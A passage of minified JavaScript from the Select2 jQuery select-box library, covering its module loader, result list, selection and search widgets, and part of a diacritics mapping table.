s[e]?s[e](n):b(o(e,M(n)).f);if(!e.splice){if((c=e).deps&&a(c.deps,c.callback),!n)return;n.splice?(e=n,n=r,r=null):e=t}return n=n||function(){},"function"==typeof r&&(r=l,l=u),l?i(t,e,n,r):setTimeout((function(){i(t,e,n,r)}),4),a},a.config=function(e){return a(e)},e._defined=l,(r=function(e,t,n){if("string"!=typeof e)throw new Error("See almond README: incorrect module build, no module name");t.splice||(n=t,t=[]),p(l,e)||p(u,e)||(u[e]=[e,t,n])}).amd={jQuery:!0}}(),t.requirejs=e,t.require=n,t.define=r)}(),t.define("almond",(function(){})),t.define("jquery",[],(function(){var t=e||o;return null==t&&console&&console.error&&console.error("Select2: An instance of jQuery or a jQuery-compatible library was not found. Make sure that you are including jQuery before Select2 on your web page."),t})),t.define("select2/utils",["jquery"],(function(e){var t={};function n(e){var t=e.prototype,n=[];for(var r in t)"function"==typeof t[r]&&"constructor"!==r&&n.push(r);return n}t.Extend=function(e,t){var n={}.hasOwnProperty;function r(){this.constructor=e}for(var i in t)n.call(t,i)&&(e[i]=t[i]);return r.prototype=t.prototype,e.prototype=new r,e.__super__=t.prototype,e},t.Decorate=function(e,t){var r=n(t),i=n(e);function a(){var n=Array.prototype.unshift,r=t.prototype.constructor.length,i=e.prototype.constructor;r>0&&(n.call(arguments,e.prototype.constructor),i=t.prototype.constructor),i.apply(this,arguments)}function o(){this.constructor=a}t.displayName=e.displayName,a.prototype=new o;for(var s=0;s<i.length;s++){var l=i[s];a.prototype[l]=e.prototype[l]}for(var u=function(e){var n=function(){};e in a.prototype&&(n=a.prototype[e]);var r=t.prototype[e];return function(){return Array.prototype.unshift.call(arguments,n),r.apply(this,arguments)}},c=0;c<r.length;c++){var d=r[c];a.prototype[d]=u(d)}return a};var r=function(){this.listeners={}};r.prototype.on=function(e,t){this.listeners=this.listeners||{},e in this.listeners?this.listeners[e].push(t):this.listeners[e]=[t]},r.prototype.trigger=function(e){var t=Array.prototype.slice,n=t.call(arguments,1);this.listeners=this.listeners||{},null==n&&(n=[]),0===n.length&&n.push({}),n[0]._type=e,e in this.listeners&&this.invoke(this.listeners[e],t.call(arguments,1)),"*"in this.listeners&&this.invoke(this.listeners["*"],arguments)},r.prototype.invoke=function(e,t){for(var n=0,r=e.length;n<r;n++)e[n].apply(this,t)},t.Observable=r,t.generateChars=function(e){for(var t="",n=0;n<e;n++)t+=Math.floor(36*Math.random()).toString(36);return t},t.bind=function(e,t){return function(){e.apply(t,arguments)}},t._convertData=function(e){for(var t in e){var n=t.split("-"),r=e;if(1!==n.length){for(var i=0;i<n.length;i++){var a=n[i];(a=a.substring(0,1).toLowerCase()+a.substring(1))in r||(r[a]={}),i==n.length-1&&(r[a]=e[t]),r=r[a]}delete e[t]}}return e},t.hasScroll=function(t,n){var r=e(n),i=n.style.overflowX,a=n.style.overflowY;return(i!==a||"hidden"!==a&&"visible"!==a)&&("scroll"===i||"scroll"===a||r.innerHeight()<n.scrollHeight||r.innerWidth()<n.scrollWidth)},t.escapeMarkup=function(e){var t={"\\":"&#92;","&":"&amp;","<":"&lt;",">":"&gt;",'"':"&quot;","'":"&#39;","/":"&#47;"};return"string"!=typeof e?e:String(e).replace(/[&<>"'\/\\]/g,(function(e){return t[e]}))},t.appendMany=function(t,n){if("1.7"===e.fn.jquery.substr(0,3)){var r=e();e.map(n,(function(e){r=r.add(e)})),n=r}t.append(n)},t.__cache={};var i=0;return t.GetUniqueElementId=function(e){var t=e.getAttribute("data-select2-id");return null==t&&(e.id?(t=e.id,e.setAttribute("data-select2-id",t)):(e.setAttribute("data-select2-id",++i),t=i.toString())),t},t.StoreData=function(e,n,r){var i=t.GetUniqueElementId(e);t.__cache[i]||(t.__cache[i]={}),t.__cache[i][n]=r},t.GetData=function(n,r){var i=t.GetUniqueElementId(n);return r?t.__cache[i]&&null!=t.__cache[i][r]?t.__cache[i][r]:e(n).data(r):t.__cache[i]},t.RemoveData=function(e){var n=t.GetUniqueElementId(e);null!=t.__cache[n]&&delete t.__cache[n],e.removeAttribute("data-select2-id")},t})),t.define("select2/results",["jquery","./utils"],(function(e,t){function n(e,t,r){this.$element=e,this.data=r,this.options=t,n.__super__.constructor.call(this)}return t.Extend(n,t.Observable),n.prototype.render=function(){var t=e('<ul class="select2-results__options" role="listbox"></ul>');return this.options.get("multiple")&&t.attr("aria-multiselectable","true"),this.$results=t,t},n.prototype.clear=function(){this.$results.empty()},n.prototype.displayMessage=function(t){var n=this.options.get("escapeMarkup");this.clear(),this.hideLoading();var r=e('<li role="alert" aria-live="assertive" class="select2-results__option"></li>'),i=this.options.get("translations").get(t.message);r.append(n(i(t.args))),r[0].className+=" select2-results__message",this.$results.append(r)},n.prototype.hideMessages=function(){this.$results.find(".select2-results__message").remove()},n.prototype.append=function(e){this.hideLoading();var t=[];if(null!=e.results&&0!==e.results.length){e.results=this.sort(e.results);for(var n=0;n<e.results.length;n++){var r=e.results[n],i=this.option(r);t.push(i)}this.$results.append(t)}else 0===this.$results.children().length&&this.trigger("results:message",{message:"noResults"})},n.prototype.position=function(e,t){t.find(".select2-results").append(e)},n.prototype.sort=function(e){return this.options.get("sorter")(e)},n.prototype.highlightFirstItem=function(){var e=this.$results.find(".select2-results__option[aria-selected]"),t=e.filter("[aria-selected=true]");t.length>0?t.first().trigger("mouseenter"):e.first().trigger("mouseenter"),this.ensureHighlightVisible()},n.prototype.setClasses=function(){var n=this;this.data.current((function(r){var i=e.map(r,(function(e){return e.id.toString()}));n.$results.find(".select2-results__option[aria-selected]").each((function(){var n=e(this),r=t.GetData(this,"data"),a=""+r.id;null!=r.element&&r.element.selected||null==r.element&&e.inArray(a,i)>-1?n.attr("aria-selected","true"):n.attr("aria-selected","false")}))}))},n.prototype.showLoading=function(e){this.hideLoading();var t={disabled:!0,loading:!0,text:this.options.get("translations").get("searching")(e)},n=this.option(t);n.className+=" loading-results",this.$results.prepend(n)},n.prototype.hideLoading=function(){this.$results.find(".loading-results").remove()},n.prototype.option=function(n){var r=document.createElement("li");r.className="select2-results__option";var i={role:"option","aria-selected":"false"},a=window.Element.prototype.matches||window.Element.prototype.msMatchesSelector||window.Element.prototype.webkitMatchesSelector;for(var o in(null!=n.element&&a.call(n.element,":disabled")||null==n.element&&n.disabled)&&(delete i["aria-selected"],i["aria-disabled"]="true"),null==n.id&&delete i["aria-selected"],null!=n._resultId&&(r.id=n._resultId),n.title&&(r.title=n.title),n.children&&(i.role="group",i["aria-label"]=n.text,delete i["aria-selected"]),i){var s=i[o];r.setAttribute(o,s)}if(n.children){var l=e(r),u=document.createElement("strong");u.className="select2-results__group",e(u),this.template(n,u);for(var c=[],d=0;d<n.children.length;d++){var f=n.children[d],h=this.option(f);c.push(h)}var m=e("<ul></ul>",{class:"select2-results__options select2-results__options--nested"});m.append(c),l.append(u),l.append(m)}else this.template(n,r);return t.StoreData(r,"data",n),r},n.prototype.bind=function(n,r){var i=this,a=n.id+"-results";this.$results.attr("id",a),n.on("results:all",(function(e){i.clear(),i.append(e.data),n.isOpen()&&(i.setClasses(),i.highlightFirstItem())})),n.on("results:append",(function(e){i.append(e.data),n.isOpen()&&i.setClasses()})),n.on("query",(function(e){i.hideMessages(),i.showLoading(e)})),n.on("select",(function(){n.isOpen()&&(i.setClasses(),i.options.get("scrollAfterSelect")&&i.highlightFirstItem())})),n.on("unselect",(function(){n.isOpen()&&(i.setClasses(),i.options.get("scrollAfterSelect")&&i.highlightFirstItem())})),n.on("open",(function(){i.$results.attr("aria-expanded","true"),i.$results.attr("aria-hidden","false"),i.setClasses(),i.ensureHighlightVisible()})),n.on("close",(function(){i.$results.attr("aria-expanded","false"),i.$results.attr("aria-hidden","true"),i.$results.removeAttr("aria-activedescendant")})),n.on("results:toggle",(function(){var e=i.getHighlightedResults();0!==e.length&&e.trigger("mouseup")})),n.on("results:select",(function(){var e=i.getHighlightedResults();if(0!==e.length){var n=t.GetData(e[0],"data");"true"==e.attr("aria-selected")?i.trigger("close",{}):i.trigger("select",{data:n})}})),n.on("results:previous",(function(){var e=i.getHighlightedResults(),t=i.$results.find("[aria-selected]"),n=t.index(e);if(!(n<=0)){var r=n-1;0===e.length&&(r=0);var a=t.eq(r);a.trigger("mouseenter");var o=i.$results.offset().top,s=a.offset().top,l=i.$results.scrollTop()+(s-o);0===r?i.$results.scrollTop(0):s-o<0&&i.$results.scrollTop(l)}})),n.on("results:next",(function(){var e=i.getHighlightedResults(),t=i.$results.find("[aria-selected]"),n=t.index(e)+1;if(!(n>=t.length)){var r=t.eq(n);r.trigger("mouseenter");var a=i.$results.offset().top+i.$results.outerHeight(!1),o=r.offset().top+r.outerHeight(!1),s=i.$results.scrollTop()+o-a;0===n?i.$results.scrollTop(0):o>a&&i.$results.scrollTop(s)}})),n.on("results:focus",(function(e){e.element.addClass("select2-results__option--highlighted")})),n.on("results:message",(function(e){i.displayMessage(e)})),e.fn.mousewheel&&this.$results.on("mousewheel",(function(e){var t=i.$results.scrollTop(),n=i.$results.get(0).scrollHeight-t+e.deltaY,r=e.deltaY>0&&t-e.deltaY<=0,a=e.deltaY<0&&n<=i.$results.height();r?(i.$results.scrollTop(0),e.preventDefault(),e.stopPropagation()):a&&(i.$results.scrollTop(i.$results.get(0).scrollHeight-i.$results.height()),e.preventDefault(),e.stopPropagation())})),this.$results.on("mouseup",".select2-results__option[aria-selected]",(function(n){var r=e(this),a=t.GetData(this,"data");"true"!==r.attr("aria-selected")?i.trigger("select",{originalEvent:n,data:a}):i.options.get("multiple")?i.trigger("unselect",{originalEvent:n,data:a}):i.trigger("close",{})})),this.$results.on("mouseenter",".select2-results__option[aria-selected]",(function(n){var r=t.GetData(this,"data");i.getHighlightedResults().removeClass("select2-results__option--highlighted"),i.trigger("results:focus",{data:r,element:e(this)})}))},n.prototype.getHighlightedResults=function(){return this.$results.find(".select2-results__option--highlighted")},n.prototype.destroy=function(){this.$results.remove()},n.prototype.ensureHighlightVisible=function(){var e=this.getHighlightedResults();if(0!==e.length){var t=this.$results.find("[aria-selected]").index(e),n=this.$results.offset().top,r=e.offset().top,i=this.$results.scrollTop()+(r-n),a=r-n;i-=2*e.outerHeight(!1),t<=2?this.$results.scrollTop(0):(a>this.$results.outerHeight()||a<0)&&this.$results.scrollTop(i)}},n.prototype.template=function(t,n){var r=this.options.get("templateResult"),i=this.options.get("escapeMarkup"),a=r(t,n);null==a?n.style.display="none":"string"==typeof a?n.innerHTML=i(a):e(n).append(a)},n})),t.define("select2/keys",[],(function(){return{BACKSPACE:8,TAB:9,ENTER:13,SHIFT:16,CTRL:17,ALT:18,ESC:27,SPACE:32,PAGE_UP:33,PAGE_DOWN:34,END:35,HOME:36,LEFT:37,UP:38,RIGHT:39,DOWN:40,DELETE:46}})),t.define("select2/selection/base",["jquery","../utils","../keys"],(function(e,t,n){function r(e,t){this.$element=e,this.options=t,r.__super__.constructor.call(this)}return t.Extend(r,t.Observable),r.prototype.render=function(){var n=e('<span class="select2-selection" role="combobox"  aria-haspopup="true" aria-expanded="false"></span>');return this._tabindex=0,null!=t.GetData(this.$element[0],"old-tabindex")?this._tabindex=t.GetData(this.$element[0],"old-tabindex"):null!=this.$element.attr("tabindex")&&(this._tabindex=this.$element.attr("tabindex")),n.attr("title",this.$element.attr("title")),n.attr("tabindex",this._tabindex),n.attr("aria-disabled","false"),this.$selection=n,n},r.prototype.bind=function(e,t){var r=this,i=e.id+"-results";this.container=e,this.$selection.on("focus",(function(e){r.trigger("focus",e)})),this.$selection.on("blur",(function(e){r._handleBlur(e)})),this.$selection.on("keydown",(function(e){r.trigger("keypress",e),e.which===n.SPACE&&e.preventDefault()})),e.on("results:focus",(function(e){r.$selection.attr("aria-activedescendant",e.data._resultId)})),e.on("selection:update",(function(e){r.update(e.data)})),e.on("open",(function(){r.$selection.attr("aria-expanded","true"),r.$selection.attr("aria-owns",i),r._attachCloseHandler(e)})),e.on("close",(function(){r.$selection.attr("aria-expanded","false"),r.$selection.removeAttr("aria-activedescendant"),r.$selection.removeAttr("aria-owns"),r.$selection.trigger("focus"),r._detachCloseHandler(e)})),e.on("enable",(function(){r.$selection.attr("tabindex",r._tabindex),r.$selection.attr("aria-disabled","false")})),e.on("disable",(function(){r.$selection.attr("tabindex","-1"),r.$selection.attr("aria-disabled","true")}))},r.prototype._handleBlur=function(t){var n=this;window.setTimeout((function(){document.activeElement==n.$selection[0]||e.contains(n.$selection[0],document.activeElement)||n.trigger("blur",t)}),1)},r.prototype._attachCloseHandler=function(n){e(document.body).on("mousedown.select2."+n.id,(function(n){var r=e(n.target).closest(".select2");e(".select2.select2-container--open").each((function(){this!=r[0]&&t.GetData(this,"element").select2("close")}))}))},r.prototype._detachCloseHandler=function(t){e(document.body).off("mousedown.select2."+t.id)},r.prototype.position=function(e,t){t.find(".selection").append(e)},r.prototype.destroy=function(){this._detachCloseHandler(this.container)},r.prototype.update=function(e){throw new Error("The `update` method must be defined in child classes.")},r.prototype.isEnabled=function(){return!this.isDisabled()},r.prototype.isDisabled=function(){return this.options.get("disabled")},r})),t.define("select2/selection/single",["jquery","./base","../utils","../keys"],(function(e,t,n,r){function i(){i.__super__.constructor.apply(this,arguments)}return n.Extend(i,t),i.prototype.render=function(){var e=i.__super__.render.call(this);return e.addClass("select2-selection--single"),e.html('<span class="select2-selection__rendered"></span><span class="select2-selection__arrow" role="presentation"><b role="presentation"></b></span>'),e},i.prototype.bind=function(e,t){var n=this;i.__super__.bind.apply(this,arguments);var r=e.id+"-container";this.$selection.find(".select2-selection__rendered").attr("id",r).attr("role","textbox").attr("aria-readonly","true"),this.$selection.attr("aria-labelledby",r),this.$selection.on("mousedown",(function(e){1===e.which&&n.trigger("toggle",{originalEvent:e})})),this.$selection.on("focus",(function(e){})),this.$selection.on("blur",(function(e){})),e.on("focus",(function(t){e.isOpen()||n.$selection.trigger("focus")}))},i.prototype.clear=function(){var e=this.$selection.find(".select2-selection__rendered");e.empty(),e.removeAttr("title")},i.prototype.display=function(e,t){var n=this.options.get("templateSelection");return this.options.get("escapeMarkup")(n(e,t))},i.prototype.selectionContainer=function(){return e("<span></span>")},i.prototype.update=function(e){if(0!==e.length){var t=e[0],n=this.$selection.find(".select2-selection__rendered"),r=this.display(t,n);n.empty().append(r);var i=t.title||t.text;i?n.attr("title",i):n.removeAttr("title")}else this.clear()},i})),t.define("select2/selection/multiple",["jquery","./base","../utils"],(function(e,t,n){function r(e,t){r.__super__.constructor.apply(this,arguments)}return n.Extend(r,t),r.prototype.render=function(){var e=r.__super__.render.call(this);return e.addClass("select2-selection--multiple"),e.html('<ul class="select2-selection__rendered"></ul>'),e},r.prototype.bind=function(t,i){var a=this;r.__super__.bind.apply(this,arguments),this.$selection.on("click",(function(e){a.trigger("toggle",{originalEvent:e})})),this.$selection.on("click",".select2-selection__choice__remove",(function(t){if(!a.isDisabled()){var r=e(this).parent(),i=n.GetData(r[0],"data");a.trigger("unselect",{originalEvent:t,data:i})}}))},r.prototype.clear=function(){var e=this.$selection.find(".select2-selection__rendered");e.empty(),e.removeAttr("title")},r.prototype.display=function(e,t){var n=this.options.get("templateSelection");return this.options.get("escapeMarkup")(n(e,t))},r.prototype.selectionContainer=function(){return e('<li class="select2-selection__choice"><span class="select2-selection__choice__remove" role="presentation">&times;</span></li>')},r.prototype.update=function(e){if(this.clear(),0!==e.length){for(var t=[],r=0;r<e.length;r++){var i=e[r],a=this.selectionContainer(),o=this.display(i,a);a.append(o);var s=i.title||i.text;s&&a.attr("title",s),n.StoreData(a[0],"data",i),t.push(a)}var l=this.$selection.find(".select2-selection__rendered");n.appendMany(l,t)}},r})),t.define("select2/selection/placeholder",["../utils"],(function(e){function t(e,t,n){this.placeholder=this.normalizePlaceholder(n.get("placeholder")),e.call(this,t,n)}return t.prototype.normalizePlaceholder=function(e,t){return"string"==typeof t&&(t={id:"",text:t}),t},t.prototype.createPlaceholder=function(e,t){var n=this.selectionContainer();return n.html(this.display(t)),n.addClass("select2-selection__placeholder").removeClass("select2-selection__choice"),n},t.prototype.update=function(e,t){var n=1==t.length&&t[0].id!=this.placeholder.id;if(t.length>1||n)return e.call(this,t);this.clear();var r=this.createPlaceholder(this.placeholder);this.$selection.find(".select2-selection__rendered").append(r)},t})),t.define("select2/selection/allowClear",["jquery","../keys","../utils"],(function(e,t,n){function r(){}return r.prototype.bind=function(e,t,n){var r=this;e.call(this,t,n),null==this.placeholder&&this.options.get("debug")&&window.console&&console.error&&console.error("Select2: The `allowClear` option should be used in combination with the `placeholder` option."),this.$selection.on("mousedown",".select2-selection__clear",(function(e){r._handleClear(e)})),t.on("keypress",(function(e){r._handleKeyboardClear(e,t)}))},r.prototype._handleClear=function(e,t){if(!this.isDisabled()){var r=this.$selection.find(".select2-selection__clear");if(0!==r.length){t.stopPropagation();var i=n.GetData(r[0],"data"),a=this.$element.val();this.$element.val(this.placeholder.id);var o={data:i};if(this.trigger("clear",o),o.prevented)this.$element.val(a);else{for(var s=0;s<i.length;s++)if(o={data:i[s]},this.trigger("unselect",o),o.prevented)return void this.$element.val(a);this.$element.trigger("input").trigger("change"),this.trigger("toggle",{})}}}},r.prototype._handleKeyboardClear=function(e,n,r){r.isOpen()||n.which!=t.DELETE&&n.which!=t.BACKSPACE||this._handleClear(n)},r.prototype.update=function(t,r){if(t.call(this,r),!(this.$selection.find(".select2-selection__placeholder").length>0||0===r.length)){var i=this.options.get("translations").get("removeAllItems"),a=e('<span class="select2-selection__clear" title="'+i()+'">&times;</span>');n.StoreData(a[0],"data",r),this.$selection.find(".select2-selection__rendered").prepend(a)}},r})),t.define("select2/selection/search",["jquery","../utils","../keys"],(function(e,t,n){function r(e,t,n){e.call(this,t,n)}return r.prototype.render=function(t){var n=e('<li class="select2-search select2-search--inline"><input class="select2-search__field" type="search" tabindex="-1" autocomplete="off" autocorrect="off" autocapitalize="none" spellcheck="false" role="searchbox" aria-autocomplete="list" /></li>');this.$searchContainer=n,this.$search=n.find("input");var r=t.call(this);return this._transferTabIndex(),r},r.prototype.bind=function(e,r,i){var a=this,o=r.id+"-results";e.call(this,r,i),r.on("open",(function(){a.$search.attr("aria-controls",o),a.$search.trigger("focus")})),r.on("close",(function(){a.$search.val(""),a.$search.removeAttr("aria-controls"),a.$search.removeAttr("aria-activedescendant"),a.$search.trigger("focus")})),r.on("enable",(function(){a.$search.prop("disabled",!1),a._transferTabIndex()})),r.on("disable",(function(){a.$search.prop("disabled",!0)})),r.on("focus",(function(e){a.$search.trigger("focus")})),r.on("results:focus",(function(e){e.data._resultId?a.$search.attr("aria-activedescendant",e.data._resultId):a.$search.removeAttr("aria-activedescendant")})),this.$selection.on("focusin",".select2-search--inline",(function(e){a.trigger("focus",e)})),this.$selection.on("focusout",".select2-search--inline",(function(e){a._handleBlur(e)})),this.$selection.on("keydown",".select2-search--inline",(function(e){if(e.stopPropagation(),a.trigger("keypress",e),a._keyUpPrevented=e.isDefaultPrevented(),e.which===n.BACKSPACE&&""===a.$search.val()){var r=a.$searchContainer.prev(".select2-selection__choice");if(r.length>0){var i=t.GetData(r[0],"data");a.searchRemoveChoice(i),e.preventDefault()}}})),this.$selection.on("click",".select2-search--inline",(function(e){a.$search.val()&&e.stopPropagation()}));var s=document.documentMode,l=s&&s<=11;this.$selection.on("input.searchcheck",".select2-search--inline",(function(e){l?a.$selection.off("input.search input.searchcheck"):a.$selection.off("keyup.search")})),this.$selection.on("keyup.search input.search",".select2-search--inline",(function(e){if(l&&"input"===e.type)a.$selection.off("input.search input.searchcheck");else{var t=e.which;t!=n.SHIFT&&t!=n.CTRL&&t!=n.ALT&&t!=n.TAB&&a.handleSearch(e)}}))},r.prototype._transferTabIndex=function(e){this.$search.attr("tabindex",this.$selection.attr("tabindex")),this.$selection.attr("tabindex","-1")},r.prototype.createPlaceholder=function(e,t){this.$search.attr("placeholder",t.text)},r.prototype.update=function(e,t){var n=this.$search[0]==document.activeElement;this.$search.attr("placeholder",""),e.call(this,t),this.$selection.find(".select2-selection__rendered").append(this.$searchContainer),this.resizeSearch(),n&&this.$search.trigger("focus")},r.prototype.handleSearch=function(){if(this.resizeSearch(),!this._keyUpPrevented){var e=this.$search.val();this.trigger("query",{term:e})}this._keyUpPrevented=!1},r.prototype.searchRemoveChoice=function(e,t){this.trigger("unselect",{data:t}),this.$search.val(t.text),this.handleSearch()},r.prototype.resizeSearch=function(){this.$search.css("width","25px");var e="";e=""!==this.$search.attr("placeholder")?this.$selection.find(".select2-selection__rendered").width():.75*(this.$search.val().length+1)+"em",this.$search.css("width",e)},r})),t.define("select2/selection/eventRelay",["jquery"],(function(e){function t(){}return t.prototype.bind=function(t,n,r){var i=this,a=["open","opening","close","closing","select","selecting","unselect","unselecting","clear","clearing"],o=["opening","closing","selecting","unselecting","clearing"];t.call(this,n,r),n.on("*",(function(t,n){if(-1!==e.inArray(t,a)){n=n||{};var r=e.Event("select2:"+t,{params:n});i.$element.trigger(r),-1!==e.inArray(t,o)&&(n.prevented=r.isDefaultPrevented())}}))},t})),t.define("select2/translation",["jquery","require"],(function(e,t){function n(e){this.dict=e||{}}return n.prototype.all=function(){return this.dict},n.prototype.get=function(e){return this.dict[e]},n.prototype.extend=function(t){this.dict=e.extend({},t.all(),this.dict)},n._cache={},n.loadPath=function(e){if(!(e in n._cache)){var r=t(e);n._cache[e]=r}return new n(n._cache[e])},n})),t.define("select2/diacritics",[],(function(){return{"Ⓐ":"A","Ａ":"A","À":"A","Á":"A","Â":"A","Ầ":"A","Ấ":"A","Ẫ":"A","Ẩ":"A","Ã":"A","Ā":"A","Ă":"A","Ằ":"A","Ắ":"A","Ẵ":"A","Ẳ":"A","Ȧ":"A","Ǡ":"A","Ä":"A","Ǟ":"A","Ả":"A","Å":"A","Ǻ":"A","Ǎ":"A","Ȁ":"A","Ȃ":"A","Ạ":"A","Ậ":"A","Ặ":"A","Ḁ":"A","Ą":"A","Ⱥ":"A","Ɐ":"A","Ꜳ":"AA","Æ":"AE","Ǽ":"AE","Ǣ":"AE","Ꜵ":"AO","Ꜷ":"AU","Ꜹ":"AV","Ꜻ":"AV","Ꜽ":"AY","Ⓑ":"B","Ｂ":"B","Ḃ":"B","Ḅ":"B","Ḇ":"B","Ƀ":"B","Ƃ":"B","Ɓ":"B","Ⓒ":"C","Ｃ":"C","Ć":"C","Ĉ":"C","Ċ":"C","Č":"C","Ç":"C","Ḉ":"C","Ƈ":"C","Ȼ":"C","Ꜿ":"C","Ⓓ":"D","Ｄ":"D","Ḋ":"D","Ď":"D","Ḍ":"D","Ḑ":"D","Ḓ":"D","Ḏ":"D","Đ":"D","Ƌ":"D","Ɗ":"D","Ɖ":"D","Ꝺ":"D","Ǳ":"DZ","Ǆ":"DZ","ǲ":"Dz","ǅ":"Dz","Ⓔ":"E","Ｅ":"E","È":"E","É":"E","Ê":"E","Ề":"E","Ế":"E","Ễ":"E","Ể":"E","Ẽ":"E","Ē":"E","Ḕ":"E","Ḗ":"E","Ĕ":"E","Ė":"E","Ë":"E","Ẻ":"E","Ě":"E","Ȅ":"E","Ȇ":"E","Ẹ":"E","Ệ":"E","Ȩ":"E","Ḝ":"E","Ę":"E","Ḙ":"E","Ḛ":"E","Ɛ":"E","Ǝ":"E","Ⓕ":"F","Ｆ":"F","Ḟ":"F","Ƒ":"F","Ꝼ":"F","Ⓖ":"G","Ｇ":"G","Ǵ":"G","Ĝ":"G","Ḡ":"G","Ğ":"G","Ġ":"G","Ǧ":"G","Ģ":"G","Ǥ":"G","Ɠ":"G","Ꞡ":"G","Ᵹ":"G","Ꝿ":"G","Ⓗ":"H","Ｈ":"H","Ĥ":"H","Ḣ":"H","Ḧ":"H","Ȟ":"H","Ḥ":"H","Ḩ":"H","Ḫ":"H","Ħ":"H","Ⱨ":"H","Ⱶ":"H","Ɥ":"H","Ⓘ":"I","Ｉ":"I","Ì":"I","Í":"I","Î":"I","Ĩ":"I","Ī":"I","Ĭ":"I","İ":"I","Ï":"I","Ḯ":"I","Ỉ":"I","Ǐ":"I","Ȉ":"I","Ȋ":"I","Ị":"I","Į":"I","Ḭ":"I","Ɨ":"I","Ⓙ":"J","Ｊ":"J","Ĵ":"J","Ɉ":"J","Ⓚ":"K","Ｋ":"K","Ḱ":"K","Ǩ":"K","Ḳ":"K","Ķ":"K","Ḵ":"K","Ƙ":"K","Ⱪ":"K","Ꝁ":"K","Ꝃ":"K","Ꝅ":"K","Ꞣ":"K","Ⓛ":"L","Ｌ":"L","Ŀ":"L","Ĺ":"L","Ľ":"L","Ḷ":"L","Ḹ":"L","Ļ":"L","Ḽ":"L","Ḻ":"L","Ł":"L","Ƚ":"L","Ɫ":"L","Ⱡ":"L","Ꝉ":"L","Ꝇ":"L","Ꞁ":"L","Ǉ":"LJ","ǈ":"Lj","Ⓜ":"M","Ｍ":"M","Ḿ":"M","Ṁ":"M","Ṃ":"M","Ɱ":"M","Ɯ":"M","Ⓝ":"N","Ｎ":"N","Ǹ":"N","Ń":"N","Ñ":"N","Ṅ":"N","Ň":"N","Ṇ":"N","Ņ":"N","Ṋ":"N","Ṉ":"N","Ƞ":"N","Ɲ":"N","Ꞑ":"N","Ꞥ":"N","Ǌ":"NJ","ǋ":"Nj","Ⓞ":"O","Ｏ":"O","Ò":"O","Ó":"O","Ô":"O","Ồ":"O","Ố":"O","Ỗ":"O","Ổ":"O","Õ":"O","Ṍ":"O","Ȭ":"O","Ṏ":"O","Ō":"O","Ṑ":"O","Ṓ":"O","Ŏ":"O","Ȯ":"O","Ȱ":"O","Ö":"O","Ȫ":"O","Ỏ":"O","Ő":"O","Ǒ":"O","Ȍ":"O","Ȏ":"O","Ơ":"O","Ờ":"O","Ớ":"O","Ỡ":"O","Ở":"O","Ợ":"O","Ọ":"O","Ộ":"O","Ǫ":"O","Ǭ":"O","Ø":"O","Ǿ":"O","Ɔ":"O","Ɵ":"O","Ꝋ":"O","Ꝍ":"O","Œ":"OE","Ƣ":"OI","Ꝏ":"OO","Ȣ":"OU","Ⓟ":"P","Ｐ":"P","Ṕ":"P","Ṗ":"P","Ƥ":"P","Ᵽ":"P","Ꝑ":"P","Ꝓ":"P","Ꝕ":"P","Ⓠ":"Q","Ｑ":"Q","Ꝗ":"Q","Ꝙ":"Q","Ɋ":"Q","Ⓡ":"R","Ｒ":"R","Ŕ":"R","Ṙ":"R","Ř":"R","Ȑ":"R","Ȓ":"R","Ṛ":"R","Ṝ":"R","Ŗ":"R","Ṟ":"R","Ɍ":"R","Ɽ":"R","Ꝛ":"R","Ꞧ":"R","Ꞃ":"R","Ⓢ":"S","Ｓ":"S","ẞ":"S","Ś":"S","Ṥ":"S","Ŝ":"S","Ṡ":"S","Š":"S","Ṧ":"S","Ṣ":"S","Ṩ":"S","Ș":"S","Ş":"S","Ȿ":"S","Ꞩ":"S","Ꞅ":"S","Ⓣ":"T","Ｔ":"T","Ṫ":"T","Ť":"T","Ṭ":"T","Ț":"T","Ţ":"T","Ṱ":"T","Ṯ":"T","Ŧ":"T","Ƭ":"T","Ʈ":"T","Ⱦ":"T","Ꞇ":"T","Ꜩ":"TZ","Ⓤ":"U","Ｕ":"U","Ù":"U","Ú":"U","Û":"U","Ũ":"U","Ṹ":"U","Ū":"U","Ṻ":"U","Ŭ":"U","Ü":"U","Ǜ":"U","Ǘ":"U","Ǖ":"U","Ǚ":"U","Ủ":"U","Ů":"U","Ű":"U","Ǔ":"U","Ȕ":"U","Ȗ":"U","Ư":"U","Ừ":"U","Ứ":"U","Ữ":"U","Ử":"U","Ự":"U","Ụ":"U","Ṳ":"U","Ų":"U","Ṷ":"U","Ṵ":"U","Ʉ":"U","Ⓥ":"V","Ｖ":"V","Ṽ":"V","Ṿ":"V","Ʋ":"V","Ꝟ":"V","Ʌ":"V","Ꝡ":"VY","Ⓦ":"W","Ｗ":"W","Ẁ":"W","Ẃ":"W","Ŵ":"W","Ẇ":"W","Ẅ":"W","Ẉ":"W","Ⱳ":"W","Ⓧ":"X","Ｘ":"X","Ẋ":"X","Ẍ":"X","Ⓨ":"Y","Ｙ":"Y","Ỳ":"Y","Ý":"Y","Ŷ":"Y","Ỹ":"Y","Ȳ":"Y","Ẏ":"Y","Ÿ":"Y","Ỷ":"Y","Ỵ":"Y","Ƴ":"Y","Ɏ":"Y","Ỿ":"Y","Ⓩ":"Z","Ｚ":"Z","Ź":"Z","Ẑ":"Z","Ż":"Z","Ž":"Z","Ẓ":"Z","Ẕ":"Z","Ƶ":"Z","Ȥ":"Z","Ɀ":"Z","Ⱬ":"Z","Ꝣ":"Z","ⓐ":"a","ａ":"a","ẚ":"a","à":"a","á":"a","â":"a","ầ":"a","ấ":"a","ẫ":"a","ẩ":"a","ã":"a","ā":"a","ă":"a","ằ":"a","ắ":"a","ẵ":"a","ẳ":"a","ȧ":"a","ǡ":"a","ä":"a","ǟ":"a","ả":"a","å":"a","ǻ":"a","ǎ":"a","ȁ":"a","ȃ":"a","ạ":"a","ậ":"a","ặ":"a","ḁ":"a","ą":"a","ⱥ":"a","ɐ":"a","ꜳ":"aa","æ":"ae","ǽ":"ae","ǣ":"ae","ꜵ":"ao","ꜷ":"au","ꜹ":"av","ꜻ":"av","ꜽ":"ay","ⓑ":"b","ｂ":"b","ḃ":"b","ḅ":"b","ḇ":"b","ƀ":"b","ƃ":"b","ɓ":"b","ⓒ":"c","ｃ":"c","ć":"c","ĉ":"c","ċ":"c","č":"c","ç":"c","ḉ":"c","ƈ":"c","ȼ":"c","ꜿ":"c","ↄ":"c","ⓓ":"d","ｄ":"d","ḋ":"d","ď":"d","ḍ":"d","ḑ":"d","ḓ":"d","ḏ":"d","đ":"d","ƌ":"d","ɖ":"d","ɗ":"d","ꝺ":"d","ǳ":"dz","ǆ":"dz","ⓔ":"e","ｅ":"e","è":"e"